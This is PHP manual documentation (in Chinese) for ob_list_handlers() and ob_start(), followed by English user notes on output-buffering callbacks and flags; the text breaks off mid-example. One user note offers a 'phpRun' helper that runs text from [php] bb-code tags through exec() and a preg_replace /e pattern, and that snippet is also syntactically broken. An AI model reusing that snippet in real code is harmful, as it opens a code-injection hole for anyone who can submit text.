  • PHP Manual
  • 输出控制 函数
  • 列出所有使用的输出处理程序

ob_list_handlers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_list_handlers — 列出所有使用的输出处理程序

说明

ob_list_handlers(): array

列出所有使用的输出处理程序。

参数

此函数没有参数。

返回值

此函数将返回一个数组，数组元素是正在使用中输出处理程序名（如果存在的输出处理程序的话）。如果启用了 output_buffering 或者在 ob_start() 中创建了一个匿名函数，ob_list_handlers() 将返回"default output handler"。

示例

Example #1 ob_list_handlers() example

<?php
// 使用 output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();

ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();

// 匿名函数
ob_start(function($string) { return $string; });
print_r(ob_list_handlers());
ob_end_flush();
?>

以上示例会输出：

Array
(
    [0] => default output handler
)

Array
(
    [0] => ob_gzhandler
)

Array
(
    [0] => Closure::__invoke
)

参见

  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_get_flush() - 刷新输出缓冲区，将其作为字符串返回并关闭输出缓冲区
  • ob_start() - 打开输出控制缓冲

User Contributed Notes

There are no user contributed notes for this page.


打开输出控制缓冲

  • ? ob_list_handlers
  • output_add_rewrite_var ?
  • PHP Manual
  • 输出控制 函数
  • 打开输出控制缓冲

ob_start

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_start — 打开输出控制缓冲

说明

ob_start(callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

此函数将打开输出缓冲。当输出缓冲激活后，脚本将不会输出内容（消息头除外），相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents()
复制到字符串变量中。想要输出存储在内部缓冲区中的内容，使用 ob_end_flush()
函数。另外，使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

Warning

当有正在调用的回调函数时，一些 Web 服务器（例如 Apache）会改变脚本的工作目录。可以在回调函数中再把它改回来，例如 chdir(dirname($_SERVER['SCRIPT_FILENAME']))。

输出缓冲区是可堆叠的，这就意味着，当有一个 ob_start() 是活跃的时，可以调用另一个 ob_start()。只要确保正确调用了 ob_end_flush() 恰当的次数即可。如果有多重输出回调函数是活跃的，输出内容会一直按嵌套的顺序依次过滤。

如果脚本结束时输出缓存仍处于激活状态，PHP 会自动输出内容。

参数

callback

可选参数 callback 函数可以被指定。此函数把一个字符串当作参数并返回一个字符串。当输出缓冲区被（ob_flush()、ob_clean() 或者相似的函数）冲刷（送出）或者被清洗的时候；或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。当调用 callback 时，它将收到输出缓冲区的内容作为参数并预期返回一个新的输出缓冲区作为结果，这个新返回的输出缓冲区内容将被送到浏览器。如果这个 callback 不是一个可以调用的函数，此函数会返回 false。以下是回调签名：

handler(string $buffer, int $phase = ?): string
buffer
输出缓冲区中的内容。
phase
比特掩码 PHP_OUTPUT_HANDLER_* 常量。

如果 callback 返回 false ，其原来的输入内容被直接送到浏览器。

这个参数 callback 可以通过直接给一个 null 值而避开。

ob_end_clean(), ob_end_flush(), ob_clean(), ob_flush() 和 ob_start() 不能从一个回调函数中调用。 如果从回调函数中调用了它们，产生的行为是不明确的。 如果想要删除缓冲区的内容，从回调函数中返回一个"" (空字符串)。 更不能从一个回调函数中使用像print_r($expression, true) 或highlight_file($filename, true) 一样的输出缓冲函数。

Note:

ob_gzhandler() 函数的存在有助于将 gz 编码的数据发送到支持压缩网页的 Web 浏览器。ob_gzhandler() 确定浏览器将接受哪种类型的内容编码并相应的返回输出。

chunk_size

如果可选参数 chunk_size 被赋值了，在任何一个能引起缓冲区的长度等于 或超过 chunk_size 的输出操作后，缓冲区都会被刷送。 默认值 0 意味着函数仅在最后被调用。

flags

flags 参数代表了一个掩码位，用来控制对缓冲区的操作。默认是允许清理、刷新和移除输出缓冲区，可以通过 PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE 显式设置或使用 PHP_OUTPUT_HANDLER_STDFLAGS 作为简写。

每个标志都控制着对一组功能的访问，详细介绍如下：

常量 | 函数
PHP_OUTPUT_HANDLER_CLEANABLE | ob_clean(), ob_end_clean() 和 ob_get_clean()。
PHP_OUTPUT_HANDLER_FLUSHABLE | ob_end_flush(), ob_flush() 和 ob_get_flush()。
PHP_OUTPUT_HANDLER_REMOVABLE | ob_end_clean(), ob_end_flush() 和 ob_get_flush()。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 用户自定义回调函数的例子

<?php

function callback($buffer)
{
// replace all the apples with oranges
return (str_replace("apples", "oranges", $buffer));
}

ob_start("callback");

?>
<html>
<body>
<p>It's like comparing apples to oranges.</p>
</body>
</html>
<?php

ob_end_flush();

?>

以上示例会输出：

<html>
<body>
<p>It's like comparing oranges to oranges.</p>
</body>
</html>

Example #2 创建不可擦除的输出缓冲区

<?php

ob_start(null, 0, PHP_OUTPUT_HANDLER_STDFLAGS ^ PHP_OUTPUT_HANDLER_REMOVABLE);

?>

参见

  • ob_get_contents() - 返回输出缓冲区的内容
  • ob_end_clean() - 清空（擦除）缓冲区并关闭输出缓冲
  • ob_end_flush() - 冲刷出（送出）输出缓冲区内容并关闭缓冲区
  • ob_implicit_flush() - 打开/关闭绝对刷送
  • ob_gzhandler() - ob_start 回调函数压缩输出缓冲区
  • ob_iconv_handler() - 以输出缓冲处理程序转换字符编码
  • mb_output_handler() - 在输出缓冲中转换字符编码的回调函数
  • ob_tidyhandler() - ob_start callback function to repair the buffer

User Contributed Notes

php REMOVETHIS at kennel17 dot co dot uk 05-Nov-2021 12:10
Be very careful when returning false from your callback function!

Despite what the documentation says, this is *not* the same as returning the supplied $buffer value, unmodified.  In the context of a 'clean' operation (e.g. ob_clean()) this will result in your callback function being disabled and skipped for any subsequent output.

The answer is to ensure you always return a string value from your callback.  This is likely a bug, and it may get fixed at some point, but it applies to all versions since PHP 5.4 up to the current version (8.1 at time of writing).  Note that it was not an issue on PHP 5.3 and below.

Some more detail can be seen on this Stack Overflow question: https://stackoverflow.com/questions/69845122/

A demonstration of the issue has been set up in this fiddle: https://3v4l.org/66cai
mbutscher at gmx dot de 24-Sep-2016 12:52
In case of an error the contents of the output buffer are shown along with the error message. If it is really important that this does never happen, you can do the following (but this also eats up the error message):

<?php
$outputbufferOutput = FALSE;

function switchableOutputHandler($buffer) {
    global $outputbufferOutput;

    if ($outputbufferOutput)
        return $buffer;
    else
        return "";
}

function internob_start() {
    global $outputbufferOutput;

    $outputbufferOutput = FALSE;
    return ob_start("switchableOutputHandler");
}

function internob_get_clean() {
    global $outputbufferOutput;

    $outputbufferOutput = TRUE;
    $result = ob_get_clean();
    $outputbufferOutput = FALSE;
    return $result;
}

?>

You can then use internob_start() and internob_get_clean() instead of ob_start() and ob_get_clean(). Other functions can be replaced accordingly.
bty-adminf2 at trebly dot net 28-Jul-2015 05:27
This concerns the default values used for ob_start().

Note that I could verify that ob_start() and ob_start(null,0) are not always equivalent.

It seems that with ob_start() the output buffer is open with current default parameters of your configuration if they have been explicitly defined.

So, if you have set $chunk_size to any value previously and send data larger than $chunk_size the data will be automatically flushed by blocks of $chunk_size.

If you explicitely define $chunk_size=0, later, when you will use any function as $my_ob_dataoutput=ob_get_clean(); you  will get back the whole content of your output (quite unlimited with $chunk_size=0).

I discover this because my var $my_ob_dataoutput was truncated. Using "ob_get_status (true)" function, I could verify that an error (in a lower level or by default out of my control) was setting previously the $chunk_size of ob at 4096.
I changed "ob_start()" for "ob_start(null,0)" and everything became OK.
jhlavon 19-Jun-2013 12:47
When used in constructor part of class it have to be prefixed by "self::" or by classname, else PHP fails to create buffer.

function __construct ()
{

$bo = ob_start ("self::callback_ob") ;
...
}
me at haravikk dot com 19-Jun-2012 07:26
I think it's worth noting that while you can't call any output functions such as echo or print from within a callback function, you can still send headers (presumably including cookies, haven't checked). Of course this only works in the first callback, like so:

<?php

function myCallback($buffer, $flags) {
    if ($flags & PHP_OUTPUT_HANDLER_START) {
        header('Server: LastMinuteHeaderServer');
    }
}

ob_start('myCallback');
echo "Hello World!";
ob_end_flush();

?>

Not the most inspiring example, but in this case the code is able to sneak a last-minute header in before the headers part of the response is sent. This can be handy if you want to avoid replacing header values that are uncertain.

For example if your code may return an image, but you don't want to set content type until you're sure that the image can be sent successfully, you can use the callback to leave the decision right until the very last moment, by which point you're hopefully sure of what's being sent in the HTTP body.
mchojrin at gmail dot com 30-May-2012 02:23
Just a word of warning to those like myself who are upgrading from 5.3. I have a piece of code that used to work:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : '' ) ) {
    ob_start();
}
?>

Which is not working anymore (I get an error like: Warning: ob_start(): function '' not found or invalid function name).

It's easily fixed though, just changed the '' to a null, like this:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : null ) ) {
    ob_start();
}
?>

Which preserves the code intention but works :)
Filip Dalge 22-Mar-2012 12:24
When a fatal error is thrown, PHP will output the current buffer of Output-Control without postprocessing before printing the error message. If you are working with several output control levels, this might not result in the desired behavior.

You can use an output callback handler to handle this and discard the output.

Therefore, use ob_start("ob_error_handler") in connection with the following:

function ob_error_handler($str) {
    $error = error_get_last();
    if ($error && $error["type"] == E_USER_ERROR || $error["type"] == E_ERROR) {
        return ini_get("error_prepend_string").
          "\nFatal error: $error[message] in $error[file] on line $error[line]\n".
          ini_get("error_append_string");
    }
    return $str;
}
Anonymous 08-Feb-2011 07:32
In case you're in for some readable representation for flags, this is a variant as a private class member:

<?php
class foo {
    private function getFlagsReadable($flags) {
        $flagNames = array('PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT', 'PHP_OUTPUT_HANDLER_END');
        $readable = '';
        foreach($flagNames as $flagName)
            if ($flags & constant($flagName) )
                $readable .= (strlen($readable) ? ' | ' : '') . $flagName
            ;
        return $readable;
    }
}
?>
Chris 24-Nov-2010 04:35
Careful with while using functions that change headers of a page; that change will not be undone when ending output buffering.

If you for instance have a class that generates an image and sets the appropriate headers, they will still be in place after the end of ob.

For instance:
<?php
  ob_start();
  myClass::renderPng(); //header("Content-Type: image/png"); in here
  $pngString = ob_get_contents();
  ob_end_clean();
?>

will put the image bytes into $pngString, and set the content type to image/png. Though the image will not be sent to the client, the png header is still in place; if you do html output here, the browser will most likely display "image error, cannot be viewed", at least firefox does.

You need to set the correct image type (text/html) manually in this case.
Bitwise 21-Oct-2009 12:41
There is no start flag problem. One just has to notice that the second parameter is not a mode but consists of bitwise-OR'ed flags.

<?php
function ob_handler($string, $flags) {
        static $input = array();
        if ( $flags & PHP_OUTPUT_HANDLER_START )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_START";
        if ( $flags & PHP_OUTPUT_HANDLER_CONT )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_CONT";
        if ( $flags & PHP_OUTPUT_HANDLER_END )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_END";
        $input[] = implode(' | ', $flags_sent) . " ($flags): $string<br />";
        $output  = "$string<br />";
        if ( $flags & PHP_OUTPUT_HANDLER_END ) {
                $output .= '<br />';
                foreach($input as $k => $v) $output .= "$k: $v";
        }
        return $output;
}

ob_start('ob_handler');

echo 'flush';
ob_flush();

echo 'flush 2';
ob_flush();

echo 'clean';
ob_clean();

echo 'flush 3';
ob_flush();

echo 'end flush';
ob_end_flush();
?>

flush
flush 2
flush 3
end flush

0: PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_CONT (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush
clancy hood at gmail dot com 19-Sep-2009 05:31
With ob callback: note that the second parameter sent to your method won't help you differentiate between flush calls and calls to ob_clean, but the buffer contents is sent in both cases, so you end up parsing data that isn't going to be used. Also, note that the constant PHP_OUTPUT_HANDLER_START is never actually sent, rather the integer "3" turns up on first flush:
<?php

    function ob_handler($string, $flag){
        static $input = array();
        $done = false;
        switch($flag){
            case PHP_OUTPUT_HANDLER_START:
                $flag_sent = "PHP_OUTPUT_HANDLER_START ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_CONT:
                $flag_sent = "PHP_OUTPUT_HANDLER_CONT ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_END:
                $done = true;
                $flag_sent = "PHP_OUTPUT_HANDLER_END ($flag)";
                break;
            default:
                $flag_sent = "Flag is not a constant ($flag)";
        }
        $input[] = "$flag_sent: $string<br />";
        $output = "$string<br />";
        if(!$done) return $output;
        // print_r($input, 1) causes an error and var_export just doesn't work
        $output .= '<br />';
        foreach($input as $k=>$v) $output .= "$k: $v";
        return $output;
    }

    ob_start('ob_handler');

    echo 'flush';
    ob_flush();

    echo 'flush 2';
    ob_flush();

    echo 'clean';
    ob_clean();

    echo 'flush 3';
    ob_flush();

    echo 'end flush';
    ob_end_flush();
?>
?
flush
flush 2
flush 3
end flush

0: Flag is not a constant (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush

I suppose the START flag problem *may* be a bug but I'm not able to upgrade before reporting since I must have the same version as my server (I'm on PHP 5.2.6). If anyone has 5.2.11 or other stable version feel free to test/report as you see fit.
mariusads at helpedia dot com 02-Jul-2009 03:02
Make sure the editor you use does not add the UTF8/UTF16 BOM at the start of the scripts if you want to use ob_start("ob_gzhandler");

If those three characters are present, browsers like Firefox won't be able to decode the pages and will report:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

Google Chrome will simply report "Error 2 (net::ERR_FAILED): Unknown error."

With the ob_start command commented out, the page is successfully load and the browser will usually detect the BOM and not show it on the page, so everything's hard to debug.
cj at ceejayoz dot com 29-Dec-2008 08:45
Note that since PHP 5.1.x, all objects have their destructors called before the output buffer callback function executes. Thus, globalised objects will not be available as expected in the function.

This is stated to be intended behaviour, per http://bugs.php.net/bug.php?id=40104
codextasy at gmail dot com 19-Sep-2008 01:26
There is a difference between the documentation and real callback functions invocation.
Manual says: "The function will be called when ob_end_flush() is called, or when the output buffer is flushed to the browser at the end of the request."

Actually, the callback function, once set by ob_start(), will be called regardless.
Here are the functions that invoke callback function immediately:
ob_clean
ob_end_clean
ob_end_flush
ob_flush
ob_get_clean

BUT only two of them return the result returned by the callback (ob_end_flush, ob_flush), other functions discard it.

At the end of the request, even if none of the functions listed above is called, the callback will be called anyway, and its result will be returned to the browser (well, at least this is corresponding to the manual).

There is one more trick:
If you set callback function with chunk_size > 1, callback function will be called each time output buffer is equal or exceeds chunk_size and its result will be output to the browser, even if you call any of ob_clean(), ob_end_clean(), ob_get_clean() later, so be aware of this fact.
fordiman at gmail dot com 27-Jun-2008 09:35
Here's a nifty function I use daily.  Essentially: include a PHP file - but render its output to a variable, rather than to the buffer.  It's also set up to load the script with a variable set, and automagically loads globals into the script's namespace, making it an effective templating scheme.  It also has error handling, so that you're not flying blind when using output buffering.

<?php
$GLOBALS['BufferedErrors']=Array();
function errorParse($errno, $errstr, $errfile, $errline, $errcontext) {
    $errorTypes = Array(
        E_ERROR => 'Fatal Error',
        E_WARNING => 'Warning',
        E_PARSE => 'Parse Error',
        E_NOTICE => 'Notice',
        E_CORE_ERROR => 'Fatal Core Error',
        E_CORE_WARNING => 'Core Warning',
        E_COMPILE_ERROR => 'Compilation Error',
        E_COMPILE_WARNING => 'Compilation Warning',
        E_USER_ERROR => 'Triggered Error',
        E_USER_WARNING => 'Triggered Warning',
        E_USER_NOTICE => 'Triggered Notice',
        E_STRICT => 'Deprecation Notice',
        E_RECOVERABLE_ERROR => 'Catchable Fatal Error'
    );
    $ret=(object)Array(
        'number'=>$errno,
        'message'=>$errstr,
        'file'=>$errfile,
        'line'=>$errline,
        'context'=>$errcontext,
        'type'=>$errorTypes[$errno]
    );
    $GLOBALS['BufferedErrors'][]=$ret;
    return false;
}
function parse($fileToInclude, $argumentsToFile=false) {
    $bufferedErrorStack = $GLOBALS['BufferedErrors'];
    set_error_handler('errorParse', error_reporting());
    $GLOBALS['BufferedErrors']=Array();

    if (!file_exists($fileToInclude))
        return '';
    if ($argumentsToFile === false)
        $argumentsToFile = Array();
    $argumentsToFile = array_merge($GLOBALS, $argumentsToFile);
    foreach ($argumentsToFile as $variableName => $variableValue)
        $$variableName = $variableValue;
    ob_start();
    include($fileToInclude);
    $ret = ob_get_contents();
    ob_end_clean();

    restore_error_handler();
    $errors = $GLOBALS['BufferedErrors'];
    $GLOBALS['BufferedErrors'] = $bufferedErrorStack;
    if (count($errors)>0) {
        $ret.='<ul class="error">';
        foreach ($errors as $error)
            $ret.=
                '<li>'.
                    '<b>'.$error->type.'</b>: '.
                    $error->message.
                    '<blockquote>'.
                        '<i>file</i>: '.$error->file.'<br />'.
                        '<i>line</i>: '.$error->line.
                    '</blockquote>'.
                '</li>';
        $ret.='</ul>';
    }
    return $ret;
}
coldshine at gmail dot com 07-Apr-2008 11:52
Referring to dan at roteloftet dot com's comment:

RFC 2616 (HTTP) specifies a "transparent" Content-Encoding, "identity" (§ 3.5), that nicely suits what you tried to do with the (invalid) "None". So this equally working, and it's also RFC-compliant:

<?php
header('Content-Encoding: identity', true);
?>
dan at roteloftet dot com 09-Mar-2008 02:19
Some web hosting servers (mine do, at least) have in their php.ini the following setting:
output_handler = ob_gzhandler

This proved problematic for php-scripts which returns an image or a binary file in general, since there is no way to determine the content length of the compressed file.

Since I spent a lot of time scouring the net searching for a work-around (.htaccess-modifications were out of the picture for various reasons), I found this to work nicely to cancel out the ob_gzhandler specified in the php.ini:

<?php
while (ob_get_level())
        ob_end_clean();
header("Content-Encoding: None", true);
?>

Put this at the top of the script before anything else is written to the page, and the script result will not be compressed.
Francois Hill 22-Oct-2007 05:42
Following clement dot ayme at st dot com 's remark :

In my experience it seems that the output IS buffered, but ALSO sent to the standard output !
Charlie Farrow 18-Oct-2007 09:49
Under certain freak conditions, when an error ocours perfoming an action on an object that cannot be done (either because the object does not exist or the method does not exist) inside of an ob_start() the script will exit and print everything the current function generates before the error, but nothing else, including no error message.

I am at a loss to why no error message appears and am trying to get a working example for the developers that is simpler than my whole program!

So if you are using ob_start() and you get no output, check your objects.... you have made a mistake on them somewhere. The only trouble is you will not know where as there is no error!!
Asher Haig (ahaig at ridiculouspower dot com) 20-Aug-2007 01:17
When a script ends, all buffered output is flushed (this is not a bug: http://bugs.php.net/bug.php?id=42334&thanks=4). What happens when the script throws an error (and thus ends) in the middle of an output buffer? The script spits out everything in the buffer before printing the error!

Here is the simplest solution I have been able to find. Put it at the beginning of the error handling function to clear all buffered data and print only the error:

$handlers = ob_list_handlers();
while ( ! empty($handlers) )    {
    ob_end_clean();
    $handlers = ob_list_handlers();
}
tracey AT archive DOT org 29-Mar-2007 01:01
Way to make all stdout and stderr write to a log
from *inside* a php script.
You simply need to make sure to call elog() every
once in awhile to get output.
It's a nice way to "daemonize" a script w.r.t. its logging.

// This allows us to capture all stdout and stderr (and error_log() calls)
// to this logfile...
// The "collected output" will be flushed anytime "elog()" is used...
ini_set("error_log", "/var/log/script.log");
ob_start();

function elog($str)
{
  // get anything written to stdout or stderr that did *NOT* use elog()
  // and write it now...
  $writeme = ob_get_contents();
  if ($writeme)
  {
    error_log($writeme);
    ob_end_clean();
    ob_start();
  }
  // now write message this method was called with
  error_log($str);
}
lucky760 at yahoo dot com 21-Nov-2006 09:10
In extension to the compress() function posted below, here's a nifty little class that improves the idea a bit. Basically, running that compress() function for all your CSS for every single page load is clearly far less than optimal, especially since the styles will change only infrequently at the very worst.

With this class you can simply specify an array of your CSS file names and call dump_style(). The contents of each file are saved in compress()'d form in a cache file that is only recreated when the corresponding source CSS changes.

It's intended for PHP5, but will work identically if you just un-OOP everything and possibly define file_put_contents.

Enjoy!

<?php

$CSS_FILES = array(
  '_general.css'
);

$css_cache = new CSSCache($CSS_FILES);
$css_cache->dump_style();

//
// class CSSCache
//

class CSSCache {
  private $filenames = array();
  private $cwd;

  public function __construct($i_filename_arr) {
    if (!is_array($i_filename_arr))
      $i_filename_arr = array($i_filename_arr);

    $this->filenames = $i_filename_arr;
    $this->cwd = getcwd() . DIRECTORY_SEPARATOR;

    if ($this->style_changed())
      $expire = -72000;
    else
      $expire = 3200;

    header('Content-Type: text/css; charset: UTF-8');
    header('Cache-Control: must-revalidate');
    header('Expires: ' . gmdate('D, d M Y H:i:s', time() + $expire) . ' GMT');
  }

  public function dump_style() {
    ob_start('ob_gzhandler');

    foreach ($this->filenames as $filename)
      $this->dump_cache_contents($filename);

    ob_end_flush();
  }

    private function get_cache_name($filename, $wildcard = FALSE) {
    $stat = stat($filename);
    return $this->cwd . '.' . $filename . '.' .
      ($wildcard ? '*' : ($stat['size'] . '-' . $stat['mtime'])) . '.cache';
  }

  private function style_changed() {
    foreach ($this->filenames as $filename)
      if (!is_file($this->get_cache_name($filename)))
        return TRUE;
    return FALSE;
  }

  private function compress($buffer) {
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  '), '', $buffer);
    $buffer = str_replace('{ ', '{', $buffer);
    $buffer = str_replace(' }', '}', $buffer);
    $buffer = str_replace('; ', ';', $buffer);
    $buffer = str_replace(', ', ',', $buffer);
    $buffer = str_replace(' {', '{', $buffer);
    $buffer = str_replace('} ', '}', $buffer);
    $buffer = str_replace(': ', ':', $buffer);
    $buffer = str_replace(' ,', ',', $buffer);
    $buffer = str_replace(' ;', ';', $buffer);
    return $buffer;
  }

  private function dump_cache_contents($filename) {
    $current_cache = $this->get_cache_name($filename);

    // the cache exists - just dump it
    if (is_file($current_cache)) {
      include($current_cache);
      return;
    }

    // remove any old, lingering caches for this file
    if ($dead_files = glob($this->get_cache_name($filename, TRUE), GLOB_NOESCAPE))
      foreach ($dead_files as $dead_file)
        unlink($dead_file);

    $compressed = $this->compress(file_get_contents($filename));
    file_put_contents($current_cache, $compressed);

    echo $compressed;
  }
}

?>
butch at enterpol dot pl 02-Oct-2006 12:04
simple code to make phpsession $_GET nice for Valid XHTML 1.0 Transitional :)

function callback($buffer)
{
  $buffer = str_replace("&PHPSESSID", "&amp;PHPSESSID", $buffer);
  return $buffer;
}

ob_start("callback");

session_start();
net_navard at yahoo dot com 30-May-2006 07:09
Hello firends

ob_start() opens a buffer in which all output is stored. So every time you do an echo, the output of that is added to the buffer. When the script finishes running, or you call ob_flush(), that stored output is sent to the browser (and gzipped first if you use ob_gzhandler, which means it downloads faster).

The most common reason to use ob_start is as a way to collect data that would otherwise be sent to the browser.

These are two usages of ob_start():

1-Well, you have more control over the output. Trivial example: say you want to show the user an error message, but the script has already sent some HTML to the browser. It'll look ugly, with a half-rendered page and then an error message. Using the output buffering functions, you can simply delete the buffer and sebuffer and send only the error message, which means it looks all nice and neat buffer and send
2-The reason output buffering was invented was to create a seamless transfer, from: php engine -> apache -> operating system -> web user

If you make sure each of those use the same buffer size, the system will use less writes, use less system resources and be able to handle more traffic.

With Regards, Hossein
simon 24-Jan-2006 08:51
Found that variables in class instances we're not being set after the call to ob_start().
Call ob_start after the variables are set however and it works but that didn't seem to solve the goal of a self contained templating class.
The fix was to assign the class by reference with '&new'
Here is a simplified working example:
<?php
class Buffer {
var $template = ' - template set in class constructor';
function Buffer() {
    $this->startBuffer();
}
function startBuffer() {
    ob_start(array(&$this, 'doFlush'));
}
function doFlush($buffer) {
    /* simple string concat to show use of a
    template string and the buffer output */
    return $buffer . $this->template;
}
}
/* template does not get set:
$buffer1 = new Buffer();
$buffer1->template = ' - template set in instance';
echo 'some buffer content';
*/
/* this works as expected */
$buffer2 = &new Buffer();
$buffer2->template = ' - template set in instance';
echo 'some buffer content';
ernest at vogelsinger dot at 08-Jan-2006 09:57
When you rely on URL rewriting to pass the PHP session ID you should be careful with ob_get_contents(), as this might disable URL rewriting completely.

Example:
ob_start();
session_start();
echo '<a href=".">self link</a>';
$data = ob_get_contents();
ob_end_clean();
echo $data;

In the example above, URL rewriting will never occur. In fact, rewriting would occur if you ended the buffering envelope using ob_end_flush(). It seems to me that rewriting occurs in the very same buffering envelope where the session gets started, not at the final output stage.

If you need a scenario like the one above, using an "inner envelope" will help:

ob_start();
ob_start();   // add the inner buffering envelope
session_start();
echo '<a href=".">self link</a>';
ob_end_flush(); // closing the inner envelope will activate URL rewriting
$data = ob_get_contents();
ob_end_clean();
echo $data;

In case you're interested or believe like me that this is rather a design flaw instead of a feature, please visit bug #35933 (http://bugs.php.net/bug.php?id=35933) and comment on it.
admin at bobfrank dot org 28-Aug-2005 08:50
If you want to run code in the middle of a string that you made, but you want to wait the printing...
(so if you want to allow php in bb-code style, and you want to execute it in order, and print everything in order...)

phpRun($code) {
    ob_start();
    exec($code);
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

$str = str_replace("]\n", "]", $str);
$match = array('#\[php\](.*?)\[\/php\]#se');
$replace = array( phpRun( stripslashes('$1') ) );
$str= preg_replace($match, $replace, $str);

echo $str;
geoffrey at nevra dot net 09-Aug-2005 12:05
When using a callback with ob_start(), functions like ob_get_contents() don't make use of it, use ob_end_flush() instead.

nb: not tested with every ob_* functions, just ob_get_contents() and ob_end_flush()
05-Aug-2005 07:54
I usually create my pages in four parts - variable initialisation, import header (using the variables just declared to configure), main body (mostly non-PHP), import footer.  I wondered about making the main body examinable by another PHP script if the main page was included into it.  I found I could control output of the main body by ending the header with an unclosed function which finishes at the start of the footer, thus enclosing the main body.  Output buffering can then be used to read this into a variable.  As a demonstration of how this can be used to control the order of output look at this example:

<?php
$output = "";

// Callback to process buffered output
function capture($buffer)
    {
    $GLOBALS['output'] .= $buffer;
    return "C ";
    }

// Calls the printE() function with output capture
function captureE()
    {
    ob_start("capture");
    printE();
    ob_end_flush();
    }
?>

A
<?php
// Output 'E' (the main body in the example scenario)
function printE()
    { // (End header after this line) ?>
E
    <?php // (Start footer with this line)
    }
?>
B
<?php captureE(); ?>
D
<?php print $output; ?>
F
<?php printE(); ?>
G

The output is A B C D E F E G.

For the application I mentioned above there are two points to note:
 - The page when executed alone must output its main body but the inspection script should suppress this, perhaps by means of a variable set before the page is included and then checked for in the footer output lines.
 - Because the main body is now inside a function it has a different namespace, thus changes may be required to prevent code breaking (e.g. use of globals, handling of functions defined within the main body).
oersoep at gmail dot com 08-Jul-2005 05:46
These are handy. First one has been mentioned before.

ob_start( array( 'lib_class', 'parse_output' ) );
ob_start( array( $this, 'parse_output' ) );

Note: $this is NOT a reference. Anything the callback saves or logs disappears in the clone ob_start works with.
It does enable the callback to work with the attributes of $this, like $this->ar_tpl_value or whatever your style is.

The manual says:
"If the optional parameter chunk_size is passed, the callback function is called on every first newline after chunk_size bytes of output. The output_callback parameter may be bypassed by passing a NULL value."
This doesn't work with my 4.3.11. Might be the Zend optimizer though. Daren't turn it off to go see.
Aleksey 25-May-2005 12:08
This function dynamically changes title of HTML page:

  function change_title($new_title) {
    $output = ob_get_contents();
    ob_end_clean();

    $output = preg_replace("/<title>(.*?)<\/title>/", "<title>$new_title</title>", $output);
    echo $output;
  }

Example:
  ob_start();
  // ... some output
  change_title('NEW TITLE!');
rafa dot chacon at factorydea dot com 10-May-2005 02:10
If you're trying to include a php file inside a loop by require_once (in example, a dinamic email template) and change the value of some variables (in example, url to unsuscribe, different for each user), you should use

<?php

// ... some code

$usermail = array("email1", "email2", ...);

for($i = 0; $i < $MAX; $i++)
{
        $usermail_unsuscribe = $usermail[$i];
        ob_start();
        include("email_template.php");
        ob_clean();
}
?>

Otherwise $usermail_unsuscribe will get only "email1" value.
Ray Paseur (Paseur ... ImagineDB.com) 01-Mar-2005 01:50
You can use PHP to generate a static HTML page.  Useful if you have a complex script that, for performance reasons, you do not want site visitors to run repeatedly on demand.  A "cron" job can execute the PHP script to create the HTML page.  For example:

<?php // CREATE index.html
   ob_start();
/* PERFORM COMLEX QUERY, ECHO RESULTS, ETC. */
   $page = ob_get_contents();
   ob_end_clean();
   $cwd = getcwd();
   $file = "$cwd" .'/'. "index.html";
   @chmod($file,0755);
   $fw = fopen($file, "w");
   fputs($fw,$page, strlen($page));
   fclose($fw);
   die();
?>
aaron at offtone.com 13-Nov-2004 05:19
My callback is stored in a function class, and using ob_start ('Class::callback') wasn't working. Not wanting to instantiate the class (no need, it's a function class) I tried this and it worked a charm:

ob_start (array (Class, 'callback'));

PHP 4.3.4
jkloss at hotmail dot com 17-Mar-2004 07:20
If ob_start does not seem to be working for you, note that with Apache 2 the flush() function causes PHP to send headers regardless of whether ob_start had been called before flush.

ob_start();
echo 'test';
flush();

will cause Apache 2 to send whatever headers may be stacked up - which means you can't use a header(location:xxx) after the flush.  To fix, remove the flush().  Spent several hours discovering this.  Apache 1.x didn't work this way.
mjr 10-Mar-2004 09:10
If you're using object-orientated code in PHP you may, like me, want to use a call-back function that is inside an object (i.e. a class function). In this case you send ob_start a two-element array as its single argument. The first element is the name of the object (without the $ at the start), and the second is the function to call. So to use a function 'indent' in an object called '$template' you would use <?php ob_start(array('template', 'indent')); ?>.
ed.oohay (a) suamhcs_rodnan 21-Nov-2003 05:18
Output Buffering even works in nested scopes or might be applied in recursive structures... thought this might save someone a little time guessing and testing :)

<pre><?php

    ob_start();              // start output buffer 1
    echo "a";                // fill ob1

